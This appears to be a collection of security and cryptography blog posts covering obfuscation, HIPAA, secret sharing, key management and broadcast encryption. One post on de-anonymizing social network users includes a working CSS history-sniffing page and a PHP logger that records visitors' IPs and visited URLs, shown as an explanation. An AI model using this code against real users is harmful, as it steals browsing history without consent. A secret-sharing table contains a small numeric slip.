Provable Obfuscation

An obfuscator O is a "compiler" that transforms your program P into a new program O(P) with the following properties [1]:
1. O(P) has the same functionality as P.
2. O(P) protects any secrets that may be stored inside and used by the program.

Provable obfuscation, if exists, can do wonders in the cryptography world. For example:
- Protection of algorithms and keys in software
- Controlled delegation of authority
- Fully homomorphic public-key encryption
- Digital watermarking
- Making interactive protocols non-interactive

Unfortunately the main provable obfuscation result is a negative one [2]. The following figure shows the security requirements of an obfuscated program O(P):
The obfuscated program should behave like a virtual black box; anything that can be computed from O(P) should be able to be computed by giving oracle access to the program P.

According to current results, it is impossible to achieve the above notion of provable obfuscation on arbitrary programs. So, what can we do best? There are two possible approaches:
1. Restrict ourselves to a weaker form of security
2. Restrict ourselves to special classes of programs (not arbitrary programs)

I prefer to have provable security for small classes of programs instead of having obfuscation techniques for many classes with weaker security. The only positive result that I am aware of is that a point function can be provably securely obfuscated under the random oracle model [1,3].

Here is an example of a point function:
if (input_password == stored_password) {
return true;
} else {
return false;
}

It takes as input the password and outputs true/false. More formally, a point function is a Boolean function that takes the value 1 (true) at exactly one point.

The following shows the common practice to hide password in a system:
if (hash(input_password) == stored_hash) {
return true;
} else {
return false;
}

You can think of the above program as an obfuscated point function where it returns true only if the stored hash value matches the hash of the input password. This can be viewed as a provably secure obfuscation of a point function under the random oracle model. Obfuscation hides the stored password as a hash value. (Hash function acts as a strong one way random permutation. An adversary can only make a dictionary attack to recover the stored password.)



Lynn et. al. [1] extends the above idea to construct provable obfuscation techniques to do more complex access control functionalities. Those who are interested in specific construction techniques are encouraged to read [1] and [3].



[1] Lynn et. al. Positive results and techniques for obfuscation, EUROCRYPT 2004
[2] Barak et. al. On the (im)possibility of obfuscating programs, CRYPTO 2001
[3] Wee, On obfuscating point functions, STOC 2005

Incremental Cryptography

Let's assume that you have performed a transformation (e.g. hashing, signing, encrypting) to document M. The transformation is proportional to the size of M. Now a small part d of the original document changes resulting in M'. This change in the original document requires changing the transformed document. Are there techniques to perform the transformation that is proportional to the modified portion of the document (i.e. d) not M'? There is some interesting work done in this area. The idea was initially put forward by Ballare et. al. in 1994 and an improved version in 1995. There is some recent work on this area as well.

Trend: nosql

What holds you from moving to the cloud?

The following list of concerns are from 2008. Has it changed in 2011 or still the same??

What is the top use of cloud computing?

Remote storage is the top use of cloud computing for small and medium businesses!


Reference: Source

Cost is the #1 barrier for cloud security

Cost is the #1 barrier affecting customer deployment of new security solution:


Reference: Source

Secure programming tips - reduce attack surface

The attack surface in software refers to the code an unauthenticated user can run. (What can an unauthenticated (malicious/untrusted) user do without having access to the system?)

For web forms,
- ALWAYS validate user inputs
- ALWAYS use the least possible privileged access to the resources (if a database connection only requires read only user, make sure that the web forms are connected to the database through a read only database user that read only from a specific database.)
- NEVER show exceptions on the browser as they may reveal useful information to an attacker to look for different attack vectors.

For any code,
- ALWAYS implement whitelisting approach (i.e. always give access based on the credentials users have)
- WEAR the "untrusted user" hat when writing code
- ONLY use libraries that are known to be secure
- THINK about the attack surface from the first line of code

If it is a service interface,
- Have the bare minimum number of functions (this will reduce the number of entry points for an untrusted user) - if a function is not going to be used by any user, just remove it.

Smart Meters and Privacy

In case you haven't heard about smart meters, they are the next generation electric meters. Unlike the traditional electric meters, the provide two way communication. The goal of smart meters is to allow utility companies and consumers to better monitor the energy consumption and control electricity. Smart meters act as surveillance devices. Having such a surveillance device at your home could seriously invade your privacy though. It can be a security threat as well. Here are a couple of possible threats:
- It allows a third-party to see what equipments you are using, what time of the day, how long, how often, etc.
- An insurance company inferring what kind of medical problems you have based on the devices use and what time.
- A producer marketing products that go along with your equipments or suggest different equipments
- It gives information to a burglar to figure out a best time to break in. (Low consumption may be linked to empty house.)

The question is how much information utility companies need in order to better manage electricity while protecting the privacy? In other words, how can we balance the benefits of smart meters and the risks of using them?

Facebook and You

(Source: http://www.eatliver.com/img/2011/7775.jpg)

HIPAA compliance

Recently I have been reading a lot of HIPAA privacy/security related technical documents. HIPAA stands for Health Insurance Portability and Accountability Act and aims to protect Protected Healthcare Information (PHI) of US residents. These PHI records are held by insurers, health care clearing houses (e.g. billing services, health care information systems), health care providers, pharmacies, and so on. They are called "covered entities". So, covered entities have your sensitive PHI records. While HIPAA has many rules and regulations, I am particularly interested in HIPAA privacy and security specifications.

Before we go into "how", we first need to understand "what". Specifically,

What is PHI?
What is HIPAA privacy rule?
What is HIPAA security rule?
What does it mean to be HIPAA compliant (only the technical part)?

PHI is any health care related information (health status, medication, payments, etc.) that is held by covered entities that can be linked to an individual user.

HIPAA privacy rules consist of a set of regulations that control the use and disclosure of PHI records held by covered entities. For example, upon request, covered entities should disclose PHI to the individual. Another example, covered entities should inform individuals the use of their PHI records. Recently I had to take an x-ray; the x-ray was transferred electronically between two hospitals (from the one I took it to another hospital that I consulted a doctor). During that process I didn't get to see my x-ray, nor I was aware that it was transferred to the second hospital until I was told by the doctor I consulted that he had a look at my x-ray. To me this is a violation of HIPAA privacy rules as I was not informed beforehand by the first hospital about the use of my x-ray (i.e. PHI record).

HIPAA security rules specify a set of security standards along with either required or addressable specifications. It is primarily concerned with electronic PHI (ePHI) records. For example, it is required to implement auditing and it is an addressable to implement integrity controls. When a safeguard is "required", it should be implemented as specified by the HIPAA security rules, whereas when a safeguard is "addressable", it provide the flexibility to the covered entity to implement the safeguard as deemed appropriate. Note that it is a difficult thing to quantify how much security is required to implement a addressable security rule. Further, it is questionable how one can verify if the implementation of an addressable security safeguard complies with HIPAA rules.

HIPAA security rules are divided into three categories:
1. Administrative safeguards
2. Physical safeguards
3. Technical safeguards

(Source)

We will focus only on the technical safeguards. In order to be technically HIPAA security compliant, a covered entity should implement all the required safeguards as specified and all the addressable safeguards as deemed appropriate.

Required safeguards:
- Access control
- Unique user identification
- Emergency access procedures
- Audit control
- Person/Entity authentication

Addressable safeguards:
- Access control
- Automatic logoff
- Encryption/decryption
- Integrity (incorrect modifications by authorized users)
-Transmission security
- Integrity controls (unauthorized modif
- Encryption

So, according to the above safeguards, do we need to encrypt PHIs in a closed system which does not travel through an open network? In theory, HIPAA does not specify to. But what about preventing unauthorized access to PHIs? For example, even in a close system, there are individual who should not see PHI records. For example, a database administrator should not see the PHIs stored. Therefore, it is safe to keep the PHI records in encrypted form even in the database (data at rest). Note that data in motion through open networks must be encrypted always to prevent unauthorized access to the PHI records by eavesdroppers.

Having audit controls in place is a required requirement of the technical safeguards. However, HIPAA rules do not specify what or how often should be audited. These are important decisions a covered entity should make based on the risk analysis.

Main References:
http://www.hipaaacademy.net/consulting/hipaaSecurityRuleOverview.html
http://www.hhs.gov/ocr/privacy/hipaa/administrative/securityrule/techsafeguards.pdf

Running Java from Firefox using the add-on

I wanted to run a Java applet from Firefox. I was using Firefox on Ubuntu. I am using Open JDK 6. You need libnpjp2.so browser plug-in for that. However, Open JDK does not have this plug-in. So, had to install Sun Java plug-in:

sudo apt-get install sun-java6-plugin

Then you need to go to the firefox plug-in directory and make a hard link to the libnpjp2.so library. (You need to close firefox before making the hard link)

cd /usr/lib/firefox/plugins
ln -s /usr/lib/jvm/java-6-sun-1.6.0.22/jre/lib/i386/libnpjp2.so .

You will see the plug-in listed in Tools > Add-ons > Plugins tab. You can enable or disable any time. (QuickJava Firefox extension provide a nice little tool to enable/disable on the fly.)

Hope that helps.

De-anonymizing social network users

Recently read an interesting paper about de-anaonymizing social network users that appeared in last year's S&P. The idea is quite simple: the groups a user belongs act as a fingerprint of the user (aka group fingerprint of a user); in other words, the set of group a user belongs allows to identify a user uniquely. Most of the social networks provide the ability to be (or not to be) a member of groups. If an attacker can get hold of the group membership information of a user from these social networks, then it can uniquely identify the user (e.g. associate an IP address with a specific user). How to steal the group membership information? They use another simple technique to do this; use an existing technique to steal user browser history.

I initially thought you've got to have javascript enabled in order to steal user browser history (you are still not safe even if you disable javascript!). I was curious to find out how to do without javascripts. You can do a simple CSS trick to steal the browser history (an online example). The idea is quite simple. In your style sheet, you specify which URL's you want to track. Then you use some kind of a social engineering trick for the user to open your malicious page. For the user there is nothing visible, it is an innocuous html page; but it simply checks browser history and if the user had happened to have visited some of the links listed in the page, it sends a message back to the malicious server. Then the malicious server knows which links user visited.

For example,
This is a simple malicious page html page that I want to get a user to open:


<html>
<body>
<style>
span.s1 a:visited {
background:url(visited.php?t=http%3A//http.google.com);
}
span.s2 a:visited {
background:url(visited.php?t=http%3A//http.dailymirror.lk);
}
</style>

<span class="s1">
<a href="http://www.google.com">www.google.com</a>
</span>
<br/>
<span class="s2">
<a href="http://www.dailymirror.lk">www.dailymirror.lk</a>
</span>
</body>
</html>




And I have a small malicious php file which write to a txt if the user has visited a specific link:

<?php
$client = $_SERVER['REMOTE_ADDR'];

$fp = fopen("history.txt", "a");
$str = $client . " has accessed " . $_GET['t'] . "\n";
fwrite($fp, $str);
fclose($fp);
?>


The history.txt file has something like:
205.10.1.1 has accessed http://www.google.com
210.34.5.11 has accessed http://www.google.com
210.34.5.11 has accessed http://www.dailymirror.lk

You get the idea. It is quite simple to launch this attack.


Found that this plug-in from Stanford said to protect your browser from visited link based attacks. (Update: this plug-in is no longer maintained. Only has an xpi for FF 2.0)

Grid vs. Cloud computing

In today's group meeting, we were discussing the security issues in the cloud computing paradigm. At the end of the meeting, I was confused about the difference between grid vs. cloud computing. Are they both refer to the same thing? Or Are they different? Or Are they have things in common? If it is the last case, what is common and what is different? So, I decided to look for the answer.

I am not familiar with grid computing, but Ian Foster et.al.'s 2008 paper titled "Cloud computing and grid computing 360-degree compared" helped to resolve some of the confusions I had in mind. This blog post is based on the material in that paper.

The following diagram shows the big picture of grid vs. cloud computing.

The following discussion is based on projects such as TeraGrid (grid computing) vs. commercially available Amazon EC2, Microsoft Azure (cloud computing).

How the resources are distributed?
To me both are the same from the distributed system point of view; both try to reduce the computing cost by using distributed cluster of computers. However, the main difference appear to be how the two approaches work. It is safe to say that, from a user's point of view, cloud computing is a centralized model whereas grid computing is a decentralized model where the computation could occur over many administrative domains.

Who controls?
In cloud computing (at least from what I have seen so far), one party has the control over the cluster of computers, whereas in grid computing, there is no one controller that can control all the nodes in the cluster. In other words, cloud computing allows a user/organization to build a virtual organization on a third party infrastructure where as grid computing tries to build a collaborative virtual organization that does not belong to one single entity.

How the on demand computation works?
Both have the notion of on demand computation. However, grid computing is more of an incentive model (e.g. if you provide computation resources, you also get computation resources from others who have already joined the grid/cluster), whereas in cloud computing there is no notion of incentive model. Cloud computing is more of a utility model like electricity consumption where you pay for what you use. One could argue that both have some kind of a utility model; in grid computing you trade your idle computation cycles, unused space, etc. with some other (same or different) resources available in the virtual network and in cloud computing, you trade your money for the resources available with a cloud provider.


I don't claim that the above description is fully correct. I may have looked at the topic from a narrow point of view. Please feel free to voice your opinion.

Starting a sub sandwitch business applying MapReduce :)

Here's the simplified process:


Input map to the mapper:
item1 -> bread, item2 -> cucumber, item3 -> green pepper, item4 -> tomato, item5 -> lettuce, item6 -> onion

Output map of the mapper:
item1 -> sliced bread, , item2 -> sliced cucumber, item3 -> chopped green pepper, item4 -> sliced tomato, item5 -> chopped lettuce, item6 -> sliced onion

Output map of the reducer:
vegi subs

That's the start-up. It is self-explanatory to see how easy it is to parallelize these tasks and make subs quickly on the fly. As the business grows, adding different varieties of breads, toppings, meats, etc. is quite easy too.

Wish list of search over encrypted data

The encrypted data is hosted in an untrusted server (honest-but-curious case only) and a user wants to make a "special" query and obtain only the matching data objects. I use the word "special" since you need to have some kind of an encoded query in order for the server to execute it over encrypted data without decrypting the data.

My wish list: The server should not be able to
- learn what the "special" query is
- create the "special" query by itself
- distinguish between encrypted data objects
- learn the result of the "special" query

Proxy re-encryption

Alice wants to allow Bob to decrypt messages encrypted under her public key, but Alice does not want to give her private key to Bob. How can Alice do this? One way is to use the help of a proxy. Alice would not want to give her private key to the proxy either, since it requires an unrealistic amount of trust. What Alice wants is a way for a proxy to convert the messages encrypted under her public key to messages encrypted under Bob's public without the proxy decrypting Alice's messages. This is where Alice can use proxy re-encryption. Alice gives some information to the proxy so that it can covert the messages. Alice is the delegator and Bob is the delegatee.

An example would be Alice wants to temporarily forward her emails encrypted under her public key to Bob. So, she forwards her encrypted emails to a proxy and gets it to covert her encrypted emails to the ones encrypted under Bob's public key so that Bob can decrypt and read the emails.

Some of the security properties demonstrated by existing proxy re-encryption schemes:
1. The proxy cannot see the plaintext unless it colludes with Bob.
2. The proxy cannot derive the secret key of Alice (even when the proxy colludes with Bob).
3. The scheme could be bi-directional (When Alice delegates to Bob, automatically Bob delegates to Alice. So, Alice and Bob need to have mutual trust for such schemes to work) or uni-directional (Alice can delegate to Bob without Bob having to delegate to her. Thus, the trust relationship between Alice and Bob does not need to be mutual).
4. The scheme could be transitive (Alice can delegate to Bob, and Bob can delegate to Tim in turn for example.) or non-transitive (Bob cannot delegate to Tim).

Encryption in the cloud

Good read on the $subject

There are solutions for data-at-rest, but they are far from perfect for cloud scenarios. In my opinion, the most challenging one is the data-in-process. There are some basic solutions to perform computation over encrypted data, but they are quite limited. This is mainly due to the fact that we still don't have efficient fully homomorphic encryption schemes. I think in the next decade, we will see better techniques to perform computation over encrypted data without decrypting them.

Homomorphism in Shamir's secret sharing

The homomorphism property in the Shamir's secret sharing scheme is a simple but a very powerful idea that could be useful to reduce the trust we have to put on the dealer to correctly distribute secret shares to users. (See my previous post for an introduction on verifiable secret sharing).

Let's look a simple example to see what this property means.

Assume that we have two degree two polynomials g and f which we can use to create two 3-out-of-n secret sharing schemes where at least 3 out of n users should get together to obtain the secret.

f(x) = 2 + x + x²
g(x) = 3 + 2x + 3x²

We have three users with the following secret shares given from the two secret sharing polynomials where the secrets are 2 and 3 for f and g respectively. Let's call them sub-secrets.

User	f	g
u1	(1,4)	(1,8)
u2	(2,8)	(2,19)
u3	(3,14)	(1,36)

Let's call the combination of the two sub-secrets as the super-secret, which is equal to 5. The problem we have at hand is "how can the users construct the super-secret revealing as little information about the sub-secrets as possible?".

It is not difficult to see that if the three users releases the sum of their secret shares, that is (1, 12), (2, 27) and (3, 50), and do the polynomial interpolation on in it, the combined function gives the super-secret 5. So, the sum of the shares of the secrets are the shares of the sum of the secrets. This is what the homomorphism property is.

The above relationship is defined as the (+, +)-homomorphism. It could be two different operators. For example, Shamir's secret sharing scheme can be converted to (*, +)-homomorphism by using discrete log of secret shares.

References:
Josh Cohen Benaloh, Secret Sharing Homomorphisms: Keeping Shares of a Secret, Proceedings on Advances in cryptology---CRYPTO, 1986

A simple construction of a veribable secret sharing scheme

In a SS (Secret Sharing) scheme a secret is split among many people and some of them need to corporate to build the secret from their shares of the secret. In in it is basic form, a dealer who possesses the secret s splits the secret and gives the secret share s_i to each party P_i, i = 1, 2, ..., n. The protocol makes sure that there should be at least t+1 parties to derive the master secret s. In other words, t or less number of parties cannot derive the secret.

In a normal SS scheme, the dealer is assumed to be honest. What if the dealer can be malicious? That's where VSS (Verifiable Secret Sharing) comes to play. VSS is similar to SS except that it allows each party to verify that the share given to them, s_i, is a valid one.

Here's a simple VSS scheme using Shamir's secret sharing and additive homomorphic encryption.

An additive homomorphic encryption scheme (e.g. ElGamal cryptosystem) allows us to perform addition over encrypted data. In particular, we use the following properties. Let E be the encryption algorithm and m₁, m₂ two numbers.

E(m₁)E(m₂) = E(m₁ + m₂)
E(m₁)^m₂ = E(m₁m₂)


The dealer generates secret shares just like in the Shamir's SS scheme. For (n, t+1) (i.e. out of n parties, there should be at least t + 1 parties to construct the secret, the dealer selects a random degree t polynomial f with f(0) = s:

f(x) = s + a₁x + a₂x² + ... + a_tx^t

The dealer sends the secret share (i, f(i)) (f(i) = s_i) to each party P_i through a private communication channel. Now t + 1 parties can perform a polynomial interpolation and obtain a unique polynomial which is equal to f and get the secret f(o).

In order to verify their secret shares, the dealer distribute an additional piece of information. The dealer generates public and private key pair for the additive homomorphic encryption E and broadcasts the encrypted coefficients of f, that is, E(s), E(a₁), E(a₂), ..., E(a_t). A party P_i, first encrypts it share and compare if the following holds. If it is true, it concludes that the dealer has given a valid secret share.

E(s_i) ==? E(s)E(a₁)ⁱE(a₂)ⁱ² ... E(a_t)^it

References:
How to Share a Secret, 1979, Adi Shamir
A Practical Scheme for Non-interactive Verifiable Secret Sharing, 1987, Paul Feldman

Flat table based group key management

Flat table (FT) key management is a simple way to manage group key. In it is basic form, it is quite efficient, but it is susceptible to collusion attacks.

First the notations:
GC - Group Controller - the centralized entity that manages the group key
GM - Group Member - a participant who wants to obtains the group key
K - the group key, it is also called DEK (Data Encryption Key) and is used to encrypt broadcast messages to the group.
KEK - Key Encryption Key - a key used to encrypt K.

Each GM in the group is assiged an identifier, ID. ID is an n-bit binary number which is denoted as X_n-1X_n-2...X₀, where X_i is either 0 or 1. The maximum size of the group N = 2ⁿ.

GC maintains 2n KEKs, {k_i,b | i ∈ Z_n, b ∈ Z₂}. That is for each bit position, there are two keys, one for 0 and one for 1.

Each GM is given n + 1 keys. Half of the KEKs (i.e. n) which correspond to the n bits in its ID and K.

Join:
Let's assume that the ID of the joing GM is X_n-1X_n-2...X₀. In order to provide backward secrecy (i.e. not allow the joining GM to access previous keys), we need to update K and n KEKs {k_i,Xi | i ∈ Z_n} corresponding to this ID. New K and KEKs are encrtypted with their old K and KEKs respectively and broadcast to the group. GC gives the new K and KEKs to the joining GC though a secure private communication channel.

Leave:
Let's assume that the ID of the leaving GM is X_n-1X_n-2...X₀. In order to provide to provide forward secrecy (i.e. not allowing the leaving GM to access new keys), again K and the n KEKs held by the leaving GM are updated.
However, we need to use a different approach to update the keys since we cannot reuse the old keys to do the job. GC decides a new group key K' and encrypts with the remaining n keys that the leaving GM does not possess and broadcasts the encrypted messages. An existing group member can decrypt at least one of those messages and obtain the new group key K'. Then GC encrypts each new KEK corresponding to those of the leaving GM twice. First GC encrypts with K' and then encrypts with the old KEK, and then broadcast to the group. It make sure only the existing users can access new KEKs who already had old KEKs. Notice that the leaving GM cannot access since it does not have K' to remove one layer of encryption.

There are proposals for optimizing for multiple leaves. In one work, the use Boolean function minimization techniques to reduce the complexity.

Collusion attacks:
When multiple users are removed at once, the FT key management approach is not resistant to collusion attacks.


References:
Waldvogel et. al. The VersaKey framework: versatile group key management, 1999

Chang et. al. Key management for secure internet multicast using Boolean function minimization techniques, INFOCOM 1999

What should we have in a security definition/protocol?

There are three key components that should be specified in any security definition/protocol.

1. Adversarial power under which the protocol is secure
2. Network model in which the protocol operates
3. Security guarantees that the protocol provides

Security is not something absolute. We may not be able to protect a protocol against any type of adversary. A security protocol is meaningless if it does not specify the capabilities of the adversaries under which the protocol is still secure. The capabilities of adversaries are specified in the adversarial model. For example, if the adversary is computationally bounded or have unbounded computational power, if the adversary is honest, semi-honest or malicious, etc.

Your protocol may need a trusted third party to work. It may not be secure without a trusted third party. Your protocols may need certain parties to online at all times. Such information is specified in the network model. Like the adversarial power, your protocol is meaningless without a proper network model.

As I mentioned earlier, security is moving line; your protocol may solve only certain problems. It is crucial to specify what problems it solves up front as part of the security guarantees.

In short, you need to specify what security guarantees your security protocol provides under which adversarial and network model. Otherwise, a security protocol is as useless as zero security protocol.

A big mistake people, especially in the database community, make is to say "our protocol is secure for this data set and it does not reveal any useful information to the adversary". This is very wrong. You cannot define security based on a input data set. What happens when you have a different data set? Will your protocol still be secure? Probably not. Security should never be analyzed by a set of examples. Rather, it should be based on the above 3 objective measures.

Broadcast encryption vs. DRM

In the last post, I started looking into the problem of broadcast encryption (BE). In this short post, I am comparing the BE problem with DRM (Digital Rights Management) problem.

BE and DRM has the common goal of preventing unauthorized users from accessing the content. However, IMO, DRM is more challenging since the adversary could be a privileged user. A privileged user who has legitimate access could decide to copy or convert the content into a different format and share it with non-privileged users. Hence, DRM requires additional mechanisms to prevent copying or conversion or at least mechanism to identify a traitor if DRM is violated.

Broadcast encryption

Broadcast encryption (BE) deals with encryption schemes designed for broadcast transmission systems such as pay-TV systems, content dissemination in an organization, the distribution of copyright protected material on disks, audio/video streaming systems and so on. The goal is to allow only an arbitrary subset of users (sometimes called privileged users) from the universe of users to access the content while minimizing key management overheads. In this series of blog post, I will be looking into how this field of BE evolved from research point of view, the current state of the art schemes available to address this research problem and future directions.

(Figure: broadcast encryption)

In a high level, BE works as follows: Each user in the universe is given a set of symmetric keys initially. A set of messages are sent to establish a common key among the set of privileged users so that only the privileged users can decrypt the broadcast messages using the common key.

Naive approach 1
Each user is given a unique symmetric key.
When a privileged set needs to be establish, the controller selects a group key K and encrypts number of times equal to the size of the privilege set using the symmetric keys of the privileged set and sends to the users.
Subsequent broadcast messages are encrypted with the key K.

It works but it requires a very long transmission to establish the common key (number of users in the privileged set into the size of the message).

Naive approach 2
Each possible subset of users is assigned a unique symmetric key.
When broadcasting a message, encrypt it with the correct symmetric key corresponding to the privileged set.

It also works, but users need to store prohibitively many keys and revocation is also difficult.

It should be clear that BE is an optimization problem which tries to optimize the following parameters.
1. The number of keys given to each user.
2. The number of transmissions used by the controller to establish the common key.
3. The computation effort involved in retrieving the common key by the users of the privileged set.

References:
1. Broadcast encryption, Amos Fait and Moni Naor, 1998